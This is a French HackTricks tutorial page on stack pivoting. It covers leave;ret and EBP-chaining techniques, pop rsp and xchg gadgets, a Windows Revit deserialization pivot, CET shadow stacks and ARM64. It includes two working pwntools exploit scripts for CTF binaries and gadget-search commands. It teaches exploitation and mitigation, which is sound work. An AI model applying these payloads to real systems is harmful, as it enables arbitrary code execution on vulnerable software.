Stack Pivoting

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Cette technique exploite la capacité à manipuler le Base Pointer (EBP/RBP) pour enchaîner l’exécution de plusieurs fonctions grâce à une utilisation soignée du frame pointer et de la séquence d’instructions leave; ret.

Pour rappel, sur x86/x86-64 leave est équivalent à:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

Et comme le EBP/RBP sauvegardé se trouve dans la stack avant l’EIP/RIP sauvegardé, il est possible de le contrôler en contrôlant la stack.

Remarques

  • Sur 64-bit, remplacez EBP→RBP et ESP→RSP. La sémantique est la même.
  • Certains compilateurs omettent le frame pointer (voir “EBP might not be used”). Dans ce cas, leave pourrait ne pas apparaître et cette technique ne fonctionnera pas.

EBP2Ret

Cette technique est particulièrement utile lorsque vous pouvez altérer le EBP/RBP sauvegardé mais n’avez aucun moyen direct de modifier EIP/RIP. Elle exploite le comportement de l’épilogue de fonction.

Si, pendant l’exécution de fvuln, vous parvenez à injecter un fake EBP dans la stack qui pointe vers une zone mémoire où se trouve l’adresse de votre shellcode/chaîne ROP (plus 8 octets sur amd64 / 4 octets sur x86 pour tenir compte du pop), vous pouvez contrôler indirectement RIP. Lorsque la fonction retourne, leave met RSP à l’emplacement sculpté et le pop rbp qui suit décrémente RSP, le faisant effectivement pointer vers une adresse placée là par l’attaquant. Ensuite ret utilisera cette adresse.

Notez que vous devez connaître 2 adresses : l’adresse vers laquelle ESP/RSP va pointer, et la valeur stockée à cette adresse que ret consommera.

Exploit Construction

D’abord, vous devez connaître une adresse où vous pouvez écrire des données/adresses arbitraires. RSP pointera ici et consommera le premier ret.

Ensuite, vous devez choisir l’adresse utilisée par ret qui transférera l’exécution. Vous pouvez utiliser :

  • Une adresse ONE_GADGET valide.
  • L’adresse de system() suivie du retour et des arguments appropriés (sur x86 : cible du ret = &system, puis 4 octets inutiles, puis &"/bin/sh").
  • L’adresse d’un gadget jmp esp; (ret2esp) suivi de shellcode inline.
  • Une chaîne ROP staged dans une mémoire writable.

Souvenez-vous qu’avant n’importe laquelle de ces adresses dans la zone contrôlée, il doit y avoir de la place pour le pop ebp/rbp du leave (8B sur amd64, 4B sur x86). Vous pouvez abuser de ces octets pour placer un second fake EBP et conserver le contrôle après le retour du premier appel.

Off-By-One Exploit

Il existe une variante utilisée lorsque vous ne pouvez modifier que l’octet de poids faible du EBP/RBP sauvegardé. Dans ce cas, l’emplacement mémoire contenant l’adresse vers laquelle sauter avec ret doit partager les trois/cinq premiers octets avec l’EBP/RBP original afin qu’un écrasement d’un octet puisse le rediriger. Habituellement, l’octet faible (offset 0x00) est incrémenté pour sauter le plus loin possible à l’intérieur d’une page/zone alignée proche.

Il est aussi courant d’utiliser un RET sled dans la stack et de placer la vraie chaîne ROP à la fin pour augmenter la probabilité que le nouveau RSP pointe à l’intérieur du sled et que la chaîne ROP finale soit exécutée.

EBP Chaining

En plaçant une adresse contrôlée dans la case EBP sauvegardée de la stack et un gadget leave; ret dans EIP/RIP, il est possible de déplacer ESP/RSP vers une adresse contrôlée par l’attaquant.

Maintenant RSP est contrôlé et l’instruction suivante est ret. Placez dans la mémoire contrôlée quelque chose comme :

  • &(next fake EBP) -> Chargé par pop ebp/rbp du leave.
  • &system() -> Appelé par ret.
  • &(leave;ret) -> Après la fin de system, déplace RSP vers le prochain fake EBP et continue.
  • &("/bin/sh") -> Argument pour system.

De cette façon, il est possible d’enchaîner plusieurs fake EBP pour contrôler le flux du programme.

C’est comme un ret2lib, mais plus complexe et utile seulement dans des cas limites.

De plus, ici vous avez un exemple de challenge qui utilise cette technique avec un stack leak pour appeler une fonction gagnante. Voici le payload final de la page :

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

astuce d’alignement amd64: L’ABI System V exige un alignement de pile de 16 octets aux points d’appel. Si votre chaîne appelle des fonctions comme system, ajoutez un gadget d’alignement (par ex., ret, ou sub rsp, 8 ; ret) avant l’appel pour maintenir l’alignement et éviter des plantages movaps.

EBP pourrait ne pas être utilisé

Comme expliqué dans ce post, si un binaire est compilé avec certaines optimisations ou avec omission du pointeur de cadre, EBP/RBP ne contrôle jamais ESP/RSP. Par conséquent, tout exploit reposant sur le contrôle d’EBP/RBP échouera car le prologue/épilogue ne restaure pas depuis le pointeur de cadre.

  • Non optimisé / pointeur de cadre utilisé:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimisé / frame pointer omitted:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Sur amd64, on voit souvent pop rbp ; ret au lieu de leave ; ret, mais si le pointeur de cadre est entièrement omis, il n’y a pas d’épilogue basé sur rbp pour effectuer un pivot.

Autres façons de contrôler RSP

pop rsp gadget

In this page you can find an example using this technique. Pour ce challenge il fallait appeler une fonction avec 2 arguments spécifiques, et il y avait un pop rsp gadget et il y a un leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Consultez la technique ret2esp ici :

Ret2esp / Ret2reg

Trouver rapidement des pivot gadgets

Utilisez votre gadget finder préféré pour rechercher des pivot primitives classiques :

  • leave ; ret dans les fonctions ou dans les bibliothèques
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (ou add esp, <imm> ; ret sur x86)

Exemples:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Schéma classique de pivot staging

Une stratégie de pivot robuste utilisée dans de nombreux CTFs/exploits :

  1. Utiliser un petit overflow initial pour appeler read/recv vers une grande région inscriptible (par ex., .bss, heap, or mapped RW memory) et y placer une chaîne ROP complète.
  2. Retourner dans un pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) pour déplacer RSP vers cette région.
  3. Continuer avec la staged chain (par ex., leak libc, appeler mprotect, puis read le shellcode, puis sauter vers celui-ci).

Windows: Destructor-loop weird-machine pivots (étude de cas Revit RFA)

Les parsers côté client implémentent parfois des destructor loops qui appellent indirectement un function pointer dérivé de champs d’objets contrôlés par l’attaquant. Si chaque itération offre exactement un indirect call (une “one-gadget” machine), vous pouvez convertir cela en un stack pivot fiable et une entrée ROP.

Observé dans Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Des objets crafted de type AString placent un pointeur vers des attacker bytes à l’offset 0.
  • La destructor loop exécute effectivement un gadget par objet :
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Deux pivots pratiques :

  • Windows 10 (32-bit heap addrs) : gadget “monster” misaligné qui contient 8B E0mov esp, eax, et finit par ret, pour pivoter depuis le call primitive vers une heap-based ROP chain.
  • Windows 11 (full 64-bit addrs) : utiliser deux objets pour conduire un constrained weird-machine pivot :
    • Gadget 1: push rax ; pop rbp ; ret (move original rax into rbp)
    • Gadget 2: leave ; ... ; ret (becomes mov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.

Conseils pour Windows x64 après le pivot :

  • Respectez the 0x20-byte shadow space et maintenez un alignement sur 16 octets avant les sites de call. Il est souvent pratique de placer des littéraux au-dessus de l’adresse de retour et d’utiliser un gadget comme lea rcx, [rsp+0x20] ; call rax suivi de pop rax ; ret pour passer des adresses de pile sans corrompre le flux de contrôle.
  • Non-ASLR helper modules (if present) fournissent des pools de gadgets stables et des imports tels que LoadLibraryW/GetProcAddress pour résoudre dynamiquement des cibles comme ucrtbase!system.
  • Creating missing gadgets via a writable thunk : si une séquence prometteuse se termine par un call via un pointeur de fonction writable (par ex., DLL import thunk ou function pointer in .data), écrasez ce pointeur avec un single-step bénin comme pop rax ; ret. La séquence se comporte alors comme si elle se terminait par ret (par ex., mov rdx, rsi ; mov rcx, rdi ; ret), ce qui est inestimable pour charger les registres d’arguments Windows x64 sans écraser les autres.

Pour la construction complète de la chaîne et des exemples de gadgets, voir la référence ci-dessous.

Mitigations modernes qui brisent stack pivoting (CET/Shadow Stack)

Les CPU x86 modernes et les OS déploient de plus en plus CET Shadow Stack (SHSTK). Avec SHSTK activé, ret compare l’adresse de retour sur la pile normale avec une shadow stack protégée matériellement ; toute discordance déclenche une Control-Protection fault et tue le processus. Par conséquent, des techniques comme EBP2Ret/leave;ret-based pivots planteront dès que le premier ret est exécuté depuis une pile pivotée.

  • For background and deeper details see:

CET & Shadow Stack

  • Vérifications rapides sur Linux :
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notes pour labs/CTF :

  • Certaines distributions modernes activent SHSTK pour les binaires compatibles CET lorsque le matériel et glibc le supportent. Pour des tests contrôlés en VM, SHSTK peut être désactivé à l’échelle du système via le paramètre de démarrage du kernel nousershstk, ou activé de manière sélective via les tunables de glibc au démarrage (voir références). Ne désactivez pas les mitigations sur des cibles en production.

  • Les techniques basées sur JOP/COOP ou SROP peuvent encore être viables sur certaines cibles, mais SHSTK casse spécifiquement les pivots basés sur ret.

  • Remarque Windows : Windows 10+ expose la protection côté utilisateur et Windows 11 ajoute une « Hardware-enforced Stack Protection » côté kernel basée sur des shadow stacks. Les processus compatibles CET empêchent le stack pivoting/ROP au ret ; les développeurs doivent s’inscrire via CETCOMPAT et les politiques associées (voir référence).

ARM64

Sur ARM64, les prologues et épilogues des fonctions ne stockent pas et ne récupèrent pas le registre SP sur la pile. De plus, l’instruction RET ne retourne pas à l’adresse pointée par SP, mais à l’adresse contenue dans x30.

Par conséquent, par défaut, abuser de l’épilogue ne vous permettra pas de contrôler le registre SP en écrasant certaines données dans la pile. Et même si vous parvenez à contrôler le SP, il vous faudra encore un moyen de contrôler le registre x30.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

La manière d’effectuer quelque chose de similaire au stack pivoting sur ARM64 serait de pouvoir contrôler le SP (en contrôlant un registre dont la valeur est affectée à SP ou parce que, pour une raison quelconque, SP prend son adresse depuis la pile et nous avons un overflow) puis abuser de l’épilogue pour charger le registre x30 depuis un SP contrôlé et faire RET vers celui-ci.

Vous pouvez également voir dans la page suivante l’équivalent de Ret2esp en ARM64 :

Ret2esp / Ret2reg

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks